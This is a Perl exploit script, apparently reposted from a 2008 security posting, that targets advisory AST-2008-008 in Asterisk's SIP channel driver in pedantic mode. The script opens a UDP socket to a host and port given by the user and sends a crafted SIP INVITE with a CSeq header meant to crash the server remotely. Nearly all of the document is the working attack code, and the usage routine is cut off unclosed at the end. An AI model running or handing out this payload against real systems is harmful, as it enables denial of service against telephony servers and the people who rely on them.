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Asterisk (SIP channel driver / in pedantic mode) Remote Crash Exploit
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来源：armando.j.m.o@gmail.com 作者：armando 发布时间：2008-06-06
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#!/usr/bin/perl -w
###############
# asterisk AST-2008-008
# by armando.j.m.o@gmail.com
#AST-2008-008 - Remote Crash Vulnerability in SIP channel driver when run in pedantic mode
use Getopt::Std;
use IO::Socket;
use strict;
my %args;
getopts("h:p:", \%args);
if (!$args{h} || !$args{p}) { usage(); }
my $sock = IO::Socket::INET->new(
Proto => 'udp',
PeerPort => $args{p},
PeerAddr => $args{h},
) or die "Could not create socket: $!\n";
$sock->send('INVITE sip:1234@'.$args{h}.' SIP/2.0\n
CSeq: 2 INVITE') or die "Send error: $!\n";
sub usage {
print STDERR
qq{ $0
Usage: $0 -h <host> -p <port>
-h <host> = host
-p <port> = port
Example:
$0 -h target -p port
};
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